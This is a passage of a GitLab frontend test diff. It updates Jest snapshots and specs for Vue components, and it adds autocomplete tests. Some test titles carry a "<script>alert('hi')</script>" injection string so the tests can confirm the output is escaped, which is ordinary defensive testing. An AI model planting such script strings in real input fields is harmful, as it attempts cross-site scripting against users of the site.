data-testid="award-button"
title="You, Ada, and Marie"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -47,18 +62,28 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 3
+
+ <span
+ class="js-counter"
+ >
+ 3
+ </span>
</span>
</button>
<button
- class="btn award-control"
+ class="btn gl-mr-3 btn-default btn-md gl-button"
data-testid="award-button"
title="Ada and Jane"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -71,18 +96,28 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 2
+
+ <span
+ class="js-counter"
+ >
+ 2
+ </span>
</span>
</button>
<button
- class="btn award-control active"
+ class="btn gl-mr-3 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You, Ada, Jane, and Leonardo"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -95,18 +130,28 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 4
+
+ <span
+ class="js-counter"
+ >
+ 4
+ </span>
</span>
</button>
<button
- class="btn award-control active"
+ class="btn gl-mr-3 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -119,18 +164,28 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 1
+
+ <span
+ class="js-counter"
+ >
+ 1
+ </span>
</span>
</button>
<button
- class="btn award-control"
+ class="btn gl-mr-3 btn-default btn-md gl-button"
data-testid="award-button"
title="Marie"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -143,18 +198,28 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 1
+
+ <span
+ class="js-counter"
+ >
+ 1
+ </span>
</span>
</button>
<button
- class="btn award-control active"
+ class="btn gl-mr-3 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You"
type="button"
>
+ <!---->
+
+ <!---->
+
<span
+ class="award-emoji-block"
data-testid="award-html"
>
@@ -167,9 +232,14 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
<span
- class="award-control-text js-counter"
+ class="gl-button-text"
>
- 1
+
+ <span
+ class="js-counter"
+ >
+ 1
+ </span>
</span>
</button>
@@ -178,46 +248,59 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
>
<button
aria-label="Add reaction"
- class="award-control btn js-add-award js-test-add-button-class"
+ class="btn add-reaction-button js-add-award btn-default btn-md gl-button js-test-add-button-class"
title="Add reaction"
type="button"
>
- <span
- class="award-control-icon award-control-icon-neutral"
- >
- <gl-icon-stub
- aria-hidden="true"
- name="slight-smile"
- size="16"
- />
- </span>
+ <!---->
+ <!---->
+
<span
- class="award-control-icon award-control-icon-positive"
+ class="gl-button-text"
>
- <gl-icon-stub
- aria-hidden="true"
- name="smiley"
- size="16"
- />
+ <span
+ class="reaction-control-icon reaction-control-icon-neutral"
+ >
+ <svg
+ aria-hidden="true"
+ class="gl-icon s16"
+ data-testid="slight-smile-icon"
+ >
+ <use
+ href="#slight-smile"
+ />
+ </svg>
+ </span>
+
+ <span
+ class="reaction-control-icon reaction-control-icon-positive"
+ >
+ <svg
+ aria-hidden="true"
+ class="gl-icon s16"
+ data-testid="smiley-icon"
+ >
+ <use
+ href="#smiley"
+ />
+ </svg>
+ </span>
+
+ <span
+ class="reaction-control-icon reaction-control-icon-super-positive"
+ >
+ <svg
+ aria-hidden="true"
+ class="gl-icon s16"
+ data-testid="smile-icon"
+ >
+ <use
+ href="#smile"
+ />
+ </svg>
+ </span>
</span>
-
- <span
- class="award-control-icon award-control-icon-super-positive"
- >
- <gl-icon-stub
- aria-hidden="true"
- name="smiley"
- size="16"
- />
- </span>
-
- <gl-loading-icon-stub
- class="award-control-icon-loading"
- color="dark"
- label="Loading"
- size="md"
- />
</button>
</div>
</div>
diff --git a/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
index ec4a81054db..63d38e7587a 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
@@ -4,7 +4,7 @@ exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
<gl-dropdown-stub
category="primary"
headertext=""
- right=""
+ right="true"
size="medium"
text="Clone"
variant="info"
diff --git a/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
index 19a649089e0..adb6c935f96 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
@@ -11,6 +11,7 @@ exports[`Expand button on click when short text is provided renders button after
<!---->
<svg
+ aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
>
@@ -39,6 +40,7 @@ exports[`Expand button on click when short text is provided renders button after
<!---->
<svg
+ aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
>
@@ -62,6 +64,7 @@ exports[`Expand button when short text is provided renders button before text 1`
<!---->
<svg
+ aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
>
@@ -90,6 +93,7 @@ exports[`Expand button when short text is provided renders button before text 1`
<!---->
<svg
+ aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
>
diff --git a/spec/frontend/vue_shared/components/__snapshots__/split_button_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/split_button_spec.js.snap
index 8eb0e8f9550..dd88ba9a6fb 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/split_button_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/split_button_spec.js.snap
@@ -2,7 +2,7 @@
exports[`SplitButton renders actionItems 1`] = `
<gl-dropdown-stub
- category="tertiary"
+ category="primary"
headertext=""
menu-class=""
size="medium"
@@ -14,6 +14,7 @@ exports[`SplitButton renders actionItems 1`] = `
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischecked="true"
ischeckitem="true"
@@ -33,6 +34,7 @@ exports[`SplitButton renders actionItems 1`] = `
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischeckitem="true"
secondarytext=""
diff --git a/spec/frontend/vue_shared/components/awards_list_spec.js b/spec/frontend/vue_shared/components/awards_list_spec.js
index 63fc8a5749d..d20de81c446 100644
--- a/spec/frontend/vue_shared/components/awards_list_spec.js
+++ b/spec/frontend/vue_shared/components/awards_list_spec.js
@@ -1,4 +1,4 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import AwardsList from '~/vue_shared/components/awards_list.vue';
const createUser = (id, name) => ({ id, name });
@@ -41,6 +41,8 @@ const TEST_AWARDS = [
];
const TEST_ADD_BUTTON_CLASS = 'js-test-add-button-class';
+const REACTION_CONTROL_CLASSES = ['btn', 'gl-mr-3', 'btn-default', 'btn-md', 'gl-button'];
+
describe('vue_shared/components/awards_list', () => {
let wrapper;
@@ -54,16 +56,16 @@ describe('vue_shared/components/awards_list', () => {
throw new Error('There should only be one wrapper created per test');
}
- wrapper = shallowMount(AwardsList, { propsData: props });
+ wrapper = mount(AwardsList, { propsData: props });
};
const matchingEmojiTag = name => expect.stringMatching(`gl-emoji data-name="${name}"`);
- const findAwardButtons = () => wrapper.findAll('[data-testid="award-button"');
+ const findAwardButtons = () => wrapper.findAll('[data-testid="award-button"]');
const findAwardsData = () =>
findAwardButtons().wrappers.map(x => {
return {
classes: x.classes(),
title: x.attributes('title'),
- html: x.find('[data-testid="award-html"]').element.innerHTML,
+ html: x.find('[data-testid="award-html"]').html(),
count: Number(x.find('.js-counter').text()),
};
});
@@ -86,43 +88,43 @@ describe('vue_shared/components/awards_list', () => {
it('shows awards in correct order', () => {
expect(findAwardsData()).toEqual([
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 3,
html: matchingEmojiTag(EMOJI_THUMBSUP),
title: 'Ada, Leonardo, and Marie',
},
{
- classes: ['btn', 'award-control', 'active'],
+ classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 3,
html: matchingEmojiTag(EMOJI_THUMBSDOWN),
title: 'You, Ada, and Marie',
},
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 2,
html: matchingEmojiTag(EMOJI_SMILE),
title: 'Ada and Jane',
},
{
- classes: ['btn', 'award-control', 'active'],
+ classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 4,
html: matchingEmojiTag(EMOJI_OK),
title: 'You, Ada, Jane, and Leonardo',
},
{
- classes: ['btn', 'award-control', 'active'],
+ classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 1,
html: matchingEmojiTag(EMOJI_CACTUS),
title: 'You',
},
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 1,
html: matchingEmojiTag(EMOJI_A),
title: 'Marie',
},
{
- classes: ['btn', 'award-control', 'active'],
+ classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 1,
html: matchingEmojiTag(EMOJI_B),
title: 'You',
@@ -135,7 +137,7 @@ describe('vue_shared/components/awards_list', () => {
findAwardButtons()
.at(2)
- .trigger('click');
+ .vm.$emit('click');
expect(wrapper.emitted().award).toEqual([[EMOJI_SMILE]]);
});
@@ -162,7 +164,7 @@ describe('vue_shared/components/awards_list', () => {
findAwardButtons()
.at(0)
- .trigger('click');
+ .vm.$emit('click');
expect(wrapper.emitted().award).toEqual([[Number(EMOJI_100)]]);
});
@@ -225,26 +227,26 @@ describe('vue_shared/components/awards_list', () => {
it('shows awards in correct order', () => {
expect(findAwardsData()).toEqual([
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 0,
html: matchingEmojiTag(EMOJI_THUMBSUP),
title: '',
},
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 0,
html: matchingEmojiTag(EMOJI_THUMBSDOWN),
title: '',
},
// We expect the EMOJI_100 before the EMOJI_SMILE because it was given as a defaultAward
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 1,
html: matchingEmojiTag(EMOJI_100),
title: 'Marie',
},
{
- classes: ['btn', 'award-control'],
+ classes: REACTION_CONTROL_CLASSES,
count: 1,
html: matchingEmojiTag(EMOJI_SMILE),
title: 'Marie',
diff --git a/spec/frontend/vue_shared/components/callout_spec.js b/spec/frontend/vue_shared/components/callout_spec.js
deleted file mode 100644
index 7c9bb6b4650..00000000000
--- a/spec/frontend/vue_shared/components/callout_spec.js
+++ /dev/null
@@ -1,63 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import Callout from '~/vue_shared/components/callout.vue';
-
-const TEST_MESSAGE = 'This is a callout message!';
-const TEST_SLOT = '<button>This is a callout slot!</button>';
-
-describe('Callout Component', () => {
- let wrapper;
-
- const factory = options => {
- wrapper = shallowMount(Callout, {
- ...options,
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('should render the appropriate variant of callout', () => {
- factory({
- propsData: {
- category: 'info',
- message: TEST_MESSAGE,
- },
- });
-
- expect(wrapper.classes()).toEqual(['bs-callout', 'bs-callout-info']);
-
- expect(wrapper.element.tagName).toEqual('DIV');
- });
-
- it('should render accessibility attributes', () => {
- factory({
- propsData: {
- message: TEST_MESSAGE,
- },
- });
-
- expect(wrapper.attributes('role')).toEqual('alert');
- expect(wrapper.attributes('aria-live')).toEqual('assertive');
- });
-
- it('should render the provided message', () => {
- factory({
- propsData: {
- message: TEST_MESSAGE,
- },
- });
-
- expect(wrapper.element.innerHTML.trim()).toEqual(TEST_MESSAGE);
- });
-
- it('should render the provided slot', () => {
- factory({
- slots: {
- default: TEST_SLOT,
- },
- });
-
- expect(wrapper.element.innerHTML.trim()).toEqual(TEST_SLOT);
- });
-});
diff --git a/spec/frontend/vue_shared/components/clipboard_button_spec.js b/spec/frontend/vue_shared/components/clipboard_button_spec.js
index 51a2653befc..ac0be1537b7 100644
--- a/spec/frontend/vue_shared/components/clipboard_button_spec.js
+++ b/spec/frontend/vue_shared/components/clipboard_button_spec.js
@@ -1,16 +1,19 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import { GlButton } from '@gitlab/ui';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
describe('clipboard button', () => {
let wrapper;
- const createWrapper = propsData => {
- wrapper = shallowMount(ClipboardButton, {
+ const createWrapper = (propsData, options = {}) => {
+ wrapper = mount(ClipboardButton, {
propsData,
+ ...options,
});
};
+ const findButton = () => wrapper.find(GlButton);
+
afterEach(() => {
wrapper.destroy();
wrapper = null;
@@ -26,7 +29,7 @@ describe('clipboard button', () => {
});
it('renders a button for clipboard', () => {
- expect(wrapper.find(GlButton).exists()).toBe(true);
+ expect(findButton().exists()).toBe(true);
expect(wrapper.attributes('data-clipboard-text')).toBe('copy me');
});
@@ -53,4 +56,35 @@ describe('clipboard button', () => {
);
});
});
+
+ it('renders default slot as button text', () => {
+ createWrapper(
+ {
+ text: 'copy me',
+ title: 'Copy this value',
+ },
+ {
+ slots: {
+ default: 'Foo bar',
+ },
+ },
+ );
+
+ expect(findButton().text()).toBe('Foo bar');
+ });
+
+ it('re-emits button events', () => {
+ const onClick = jest.fn();
+ createWrapper(
+ {
+ text: 'copy me',
+ title: 'Copy this value',
+ },
+ { listeners: { click: onClick } },
+ );
+
+ findButton().trigger('click');
+
+ expect(onClick).toHaveBeenCalled();
+ });
});
diff --git a/spec/frontend/vue_shared/components/color_picker/color_picker_spec.js b/spec/frontend/vue_shared/components/color_picker/color_picker_spec.js
new file mode 100644
index 00000000000..a50a4b742b3
--- /dev/null
+++ b/spec/frontend/vue_shared/components/color_picker/color_picker_spec.js
@@ -0,0 +1,140 @@
+import { GlFormGroup, GlFormInput, GlFormInputGroup, GlLink } from '@gitlab/ui';
+import { mount, shallowMount } from '@vue/test-utils';
+
+import ColorPicker from '~/vue_shared/components/color_picker/color_picker.vue';
+
+describe('ColorPicker', () => {
+ let wrapper;
+
+ const createComponent = (fn = mount, propsData = {}) => {
+ wrapper = fn(ColorPicker, {
+ propsData,
+ });
+ };
+
+ const setColor = '#000000';
+ const label = () => wrapper.find(GlFormGroup).attributes('label');
+ const colorPreview = () => wrapper.find('[data-testid="color-preview"]');
+ const colorPicker = () => wrapper.find(GlFormInput);
+ const colorInput = () => wrapper.find(GlFormInputGroup).find('input[type="text"]');
+ const invalidFeedback = () => wrapper.find('.invalid-feedback');
+ const description = () => wrapper.find(GlFormGroup).attributes('description');
+ const presetColors = () => wrapper.findAll(GlLink);
+
+ beforeEach(() => {
+ gon.suggested_label_colors = {
+ [setColor]: 'Black',
+ '#0033CC': 'UA blue',
+ '#428BCA': 'Moderate blue',
+ '#44AD8E': 'Lime green',
+ };
+
+ createComponent(shallowMount);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('label', () => {
+ it('hides the label if the label is not passed', () => {
+ expect(label()).toBe('');
+ });
+
+ it('shows the label if the label is passed', () => {
+ createComponent(shallowMount, { label: 'test' });
+
+ expect(label()).toBe('test');
+ });
+ });
+
+ describe('behavior', () => {
+ it('by default has no values', () => {
+ createComponent();
+
+ expect(colorPreview().attributes('style')).toBe(undefined);
+ expect(colorPicker().attributes('value')).toBe(undefined);
+ expect(colorInput().props('value')).toBe('');
+ });
+
+ it('has a color set on initialization', () => {
+ createComponent(shallowMount, { setColor });
+
+ expect(wrapper.vm.$data.selectedColor).toBe(setColor);
+ });
+
+ it('emits input event from component when a color is selected', async () => {
+ createComponent();
+ await colorInput().setValue(setColor);
+
+ expect(wrapper.emitted().input[0]).toEqual([setColor]);
+ });
+
+ it('trims spaces from submitted colors', async () => {
+ createComponent();
+ await colorInput().setValue(` ${setColor} `);
+
+ expect(wrapper.vm.$data.selectedColor).toBe(setColor);
+ });
+
+ it('shows invalid feedback when an invalid color is used', async () => {
+ createComponent();
+ await colorInput().setValue('abcd');
+
+ expect(invalidFeedback().text()).toBe(
+ 'Please enter a valid hex (#RRGGBB or #RGB) color value',
+ );
+ expect(wrapper.emitted().input).toBe(undefined);
+ });
+
+ it('shows an invalid feedback border on the preview when an invalid color is used', async () => {
+ createComponent();
+ await colorInput().setValue('abcd');
+
+ expect(colorPreview().attributes('class')).toContain('gl-inset-border-1-red-500');
+ });
+ });
+
+ describe('inputs', () => {
+ it('has color input value entered', async () => {
+ createComponent();
+ await colorInput().setValue(setColor);
+
+ expect(wrapper.vm.$data.selectedColor).toBe(setColor);
+ });
+
+ it('has color picker value entered', async () => {
+ createComponent();
+ await colorPicker().setValue(setColor);
+
+ expect(wrapper.vm.$data.selectedColor).toBe(setColor);
+ });
+ });
+
+ describe('preset colors', () => {
+ it('hides the suggested colors if they are empty', () => {
+ gon.suggested_label_colors = {};
+ createComponent(shallowMount);
+
+ expect(description()).toBe('Choose any color');
+ expect(presetColors().exists()).toBe(false);
+ });
+
+ it('shows the suggested colors', () => {
+ createComponent(shallowMount);
+ expect(description()).toBe(
+ 'Choose any color. Or you can choose one of the suggested colors below',
+ );
+ expect(presetColors()).toHaveLength(4);
+ });
+
+ it('has preset color selected', async () => {
+ createComponent();
+ await presetColors()
+ .at(0)
+ .trigger('click');
+
+ expect(wrapper.vm.$data.selectedColor).toBe(setColor);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js
index 64bfff3dfa1..8cc5d6775a7 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js
@@ -17,11 +17,14 @@ import RecentSearchesService from '~/filtered_search/services/recent_searches_se
import {
mockAvailableTokens,
+ mockMembershipToken,
+ mockMembershipTokenOptionsWithoutTitles,
mockSortOptions,
mockHistoryItems,
tokenValueAuthor,
tokenValueLabel,
tokenValueMilestone,
+ tokenValueMembership,
} from './mock_data';
jest.mock('~/vue_shared/components/filtered_search_bar/filtered_search_utils', () => ({
@@ -412,6 +415,42 @@ describe('FilteredSearchBarRoot', () => {
wrapperFullMount.destroy();
});
+ describe('when token options have `title` attribute defined', () => {
+ it('renders search history items using the provided `title` attribute', async () => {
+ const wrapperFullMount = createComponent({
+ sortOptions: mockSortOptions,
+ tokens: [mockMembershipToken],
+ shallow: false,
+ });
+
+ wrapperFullMount.vm.recentSearchesStore.addRecentSearch([tokenValueMembership]);
+
+ await wrapperFullMount.vm.$nextTick();
+
+ expect(wrapperFullMount.find(GlDropdownItem).text()).toBe('Membership := Direct');
+
+ wrapperFullMount.destroy();
+ });
+ });
+
+ describe('when token options have do not have `title` attribute defined', () => {
+ it('renders search history items using the provided `value` attribute', async () => {
+ const wrapperFullMount = createComponent({
+ sortOptions: mockSortOptions,
+ tokens: [mockMembershipTokenOptionsWithoutTitles],
+ shallow: false,
+ });
+
+ wrapperFullMount.vm.recentSearchesStore.addRecentSearch([tokenValueMembership]);
+
+ await wrapperFullMount.vm.$nextTick();
+
+ expect(wrapperFullMount.find(GlDropdownItem).text()).toBe('Membership := exclude');
+
+ wrapperFullMount.destroy();
+ });
+ });
+
it('renders sort dropdown component', () => {
expect(wrapper.find(GlButtonGroup).exists()).toBe(true);
expect(wrapper.find(GlDropdown).exists()).toBe(true);
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
index e0a3208cac9..64fbe70696d 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
@@ -1,3 +1,4 @@
+import { GlFilteredSearchToken } from '@gitlab/ui';
import { mockLabels } from 'jest/vue_shared/components/sidebar/labels_select_vue/mock_data';
import Api from '~/api';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
@@ -102,6 +103,21 @@ export const mockMilestoneToken = {
fetchMilestones: () => Promise.resolve({ data: mockMilestones }),
};
+export const mockMembershipToken = {
+ type: 'with_inherited_permissions',
+ icon: 'group',
+ title: 'Membership',
+ token: GlFilteredSearchToken,
+ unique: true,
+ operators: [{ value: '=', description: 'is' }],
+ options: [{ value: 'exclude', title: 'Direct' }, { value: 'only', title: 'Inherited' }],
+};
+
+export const mockMembershipTokenOptionsWithoutTitles = {
+ ...mockMembershipToken,
+ options: [{ value: 'exclude' }, { value: 'only' }],
+};
+
export const mockAvailableTokens = [mockAuthorToken, mockLabelToken, mockMilestoneToken];
export const tokenValueAuthor = {
@@ -128,6 +144,14 @@ export const tokenValueMilestone = {
},
};
+export const tokenValueMembership = {
+ type: 'with_inherited_permissions',
+ value: {
+ operator: '=',
+ data: 'exclude',
+ },
+};
+
export const tokenValuePlain = {
type: 'filtered-search-term',
value: { data: 'foo' },
diff --git a/spec/frontend/vue_shared/components/gfm_autocomplete/__snapshots__/utils_spec.js.snap b/spec/frontend/vue_shared/components/gfm_autocomplete/__snapshots__/utils_spec.js.snap
new file mode 100644
index 00000000000..d0fa2086fdc
--- /dev/null
+++ b/spec/frontend/vue_shared/components/gfm_autocomplete/__snapshots__/utils_spec.js.snap
@@ -0,0 +1,47 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`gfm_autocomplete/utils issues config shows the iid and title in the menu item within a project context 1`] = `"<small>123456</small> Project context issue title &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"`;
+
+exports[`gfm_autocomplete/utils issues config shows the reference and title in the menu item within a group context 1`] = `"<small>gitlab#987654</small> Group context issue title &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"`;
+
+exports[`gfm_autocomplete/utils labels config shows the title in the menu item 1`] = `
+"
+ <span class=\\"dropdown-label-box\\" style=\\"background: #123456;\\"></span>
+ bug &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"
+`;
+
+exports[`gfm_autocomplete/utils members config shows an avatar character, name, parent name, and count in the menu item for a group 1`] = `
+"
+ <div class=\\"gl-display-flex gl-align-items-center\\">
+ <div class=\\"gl-avatar gl-avatar-s24 gl-flex-shrink-0 gl-rounded-small
+ gl-display-flex gl-align-items-center gl-justify-content-center\\" aria-hidden=\\"true\\">
+ G</div>
+ <div class=\\"gl-font-sm gl-line-height-normal gl-ml-3\\">
+ <div>1-1s &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt; (2)</div>
+ <div class=\\"gl-text-gray-700\\">GitLab Support Team</div>
+ </div>
+
+ </div>
+ "
+`;
+
+exports[`gfm_autocomplete/utils members config shows the avatar, name and username in the menu item for a user 1`] = `
+"
+ <div class=\\"gl-display-flex gl-align-items-center\\">
+ <img class=\\"gl-avatar gl-avatar-s24 gl-flex-shrink-0 gl-avatar-circle\\" src=\\"/uploads/-/system/user/avatar/123456/avatar.png\\" alt=\\"\\" />
+ <div class=\\"gl-font-sm gl-line-height-normal gl-ml-3\\">
+ <div>My Name &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;</div>
+ <div class=\\"gl-text-gray-700\\">@myusername</div>
+ </div>
+
+ </div>
+ "
+`;
+
+exports[`gfm_autocomplete/utils merge requests config shows the iid and title in the menu item within a project context 1`] = `"<small>123456</small> Project context merge request title &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"`;
+
+exports[`gfm_autocomplete/utils merge requests config shows the reference and title in the menu item within a group context 1`] = `"<small>gitlab!456789</small> Group context merge request title &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"`;
+
+exports[`gfm_autocomplete/utils milestones config shows the title in the menu item 1`] = `"13.2 &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"`;
+
+exports[`gfm_autocomplete/utils snippets config shows the id and title in the menu item 1`] = `"<small>123456</small> Snippet title &lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;"`;
diff --git a/spec/frontend/vue_shared/components/gfm_autocomplete/gfm_autocomplete_spec.js b/spec/frontend/vue_shared/components/gfm_autocomplete/gfm_autocomplete_spec.js
new file mode 100644
index 00000000000..b4002fdf4ec
--- /dev/null
+++ b/spec/frontend/vue_shared/components/gfm_autocomplete/gfm_autocomplete_spec.js
@@ -0,0 +1,34 @@
+import Tribute from '@gitlab/tributejs';
+import { shallowMount } from '@vue/test-utils';
+import GfmAutocomplete from '~/vue_shared/components/gfm_autocomplete/gfm_autocomplete.vue';
+
+describe('GfmAutocomplete', () => {
+ let wrapper;
+
+ describe('tribute', () => {
+ const mentions = '/gitlab-org/gitlab-test/-/autocomplete_sources/members?type=Issue&type_id=1';
+
+ beforeEach(() => {
+ wrapper = shallowMount(GfmAutocomplete, {
+ propsData: {
+ dataSources: {
+ mentions,
+ },
+ },
+ slots: {
+ default: ['<input/>'],
+ },
+ });
+ });
+
+ it('is set to tribute instance variable', () => {
+ expect(wrapper.vm.tribute instanceof Tribute).toBe(true);
+ });
+
+ it('contains the slot input element', () => {
+ wrapper.find('input').setValue('@');
+
+ expect(wrapper.vm.tribute.current.element).toBe(wrapper.find('input').element);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/gfm_autocomplete/utils_spec.js b/spec/frontend/vue_shared/components/gfm_autocomplete/utils_spec.js
new file mode 100644
index 00000000000..647f8c6e000
--- /dev/null
+++ b/spec/frontend/vue_shared/components/gfm_autocomplete/utils_spec.js
@@ -0,0 +1,344 @@
+import { escape, last } from 'lodash';
+import { GfmAutocompleteType, tributeConfig } from '~/vue_shared/components/gfm_autocomplete/utils';
+
+describe('gfm_autocomplete/utils', () => {
+ describe('issues config', () => {
+ const issuesConfig = tributeConfig[GfmAutocompleteType.Issues].config;
+ const groupContextIssue = {
+ iid: 987654,
+ reference: 'gitlab#987654',
+ title: "Group context issue title <script>alert('hi')</script>",
+ };
+ const projectContextIssue = {
+ id: null,
+ iid: 123456,
+ time_estimate: 0,
+ title: "Project context issue title <script>alert('hi')</script>",
+ };
+
+ it('uses # as the trigger', () => {
+ expect(issuesConfig.trigger).toBe('#');
+ });
+
+ it('searches using both the iid and title', () => {
+ expect(issuesConfig.lookup(projectContextIssue)).toBe(
+ `${projectContextIssue.iid}${projectContextIssue.title}`,
+ );
+ });
+
+ it('shows the reference and title in the menu item within a group context', () => {
+ expect(issuesConfig.menuItemTemplate({ original: groupContextIssue })).toMatchSnapshot();
+ });
+
+ it('shows the iid and title in the menu item within a project context', () => {
+ expect(issuesConfig.menuItemTemplate({ original: projectContextIssue })).toMatchSnapshot();
+ });
+
+ it('inserts the reference on autocomplete selection within a group context', () => {
+ expect(issuesConfig.selectTemplate({ original: groupContextIssue })).toBe(
+ groupContextIssue.reference,
+ );
+ });
+
+ it('inserts the iid on autocomplete selection within a project context', () => {
+ expect(issuesConfig.selectTemplate({ original: projectContextIssue })).toBe(
+ `#${projectContextIssue.iid}`,
+ );
+ });
+ });
+
+ describe('labels config', () => {
+ const labelsConfig = tributeConfig[GfmAutocompleteType.Labels].config;
+ const labelsFilter = tributeConfig[GfmAutocompleteType.Labels].filterValues;
+ const label = {
+ color: '#123456',
+ textColor: '#FFFFFF',
+ title: `bug <script>alert('hi')</script>`,
+ type: 'GroupLabel',
+ };
+ const singleWordLabel = {
+ color: '#456789',
+ textColor: '#DDD',
+ title: `bug`,
+ type: 'GroupLabel',
+ };
+ const numericalLabel = {
+ color: '#abcdef',
+ textColor: '#AAA',
+ title: 123456,
+ type: 'ProjectLabel',
+ };
+
+ it('uses ~ as the trigger', () => {
+ expect(labelsConfig.trigger).toBe('~');
+ });
+
+ it('searches using `title`', () => {
+ expect(labelsConfig.lookup).toBe('title');
+ });
+
+ it('shows the title in the menu item', () => {
+ expect(labelsConfig.menuItemTemplate({ original: label })).toMatchSnapshot();
+ });
+
+ it('inserts the title on autocomplete selection', () => {
+ expect(labelsConfig.selectTemplate({ original: singleWordLabel })).toBe(
+ `~${escape(singleWordLabel.title)}`,
+ );
+ });
+
+ it('inserts the title enclosed with quotes on autocomplete selection when the title is numerical', () => {
+ expect(labelsConfig.selectTemplate({ original: numericalLabel })).toBe(
+ `~"${escape(numericalLabel.title)}"`,
+ );
+ });
+
+ it('inserts the title enclosed with quotes on autocomplete selection when the title contains multiple words', () => {
+ expect(labelsConfig.selectTemplate({ original: label })).toBe(`~"${escape(label.title)}"`);
+ });
+
+ describe('filter', () => {
+ const collection = [label, singleWordLabel, { ...numericalLabel, set: true }];
+
+ describe('/label quick action', () => {
+ describe('when the line starts with `/label`', () => {
+ it('shows labels that are not currently selected', () => {
+ const fullText = '/label ~';
+ const selectionStart = 8;
+
+ expect(labelsFilter({ collection, fullText, selectionStart })).toEqual([
+ collection[0],
+ collection[1],
+ ]);
+ });
+ });
+
+ describe('when the line does not start with `/label`', () => {
+ it('shows all labels', () => {
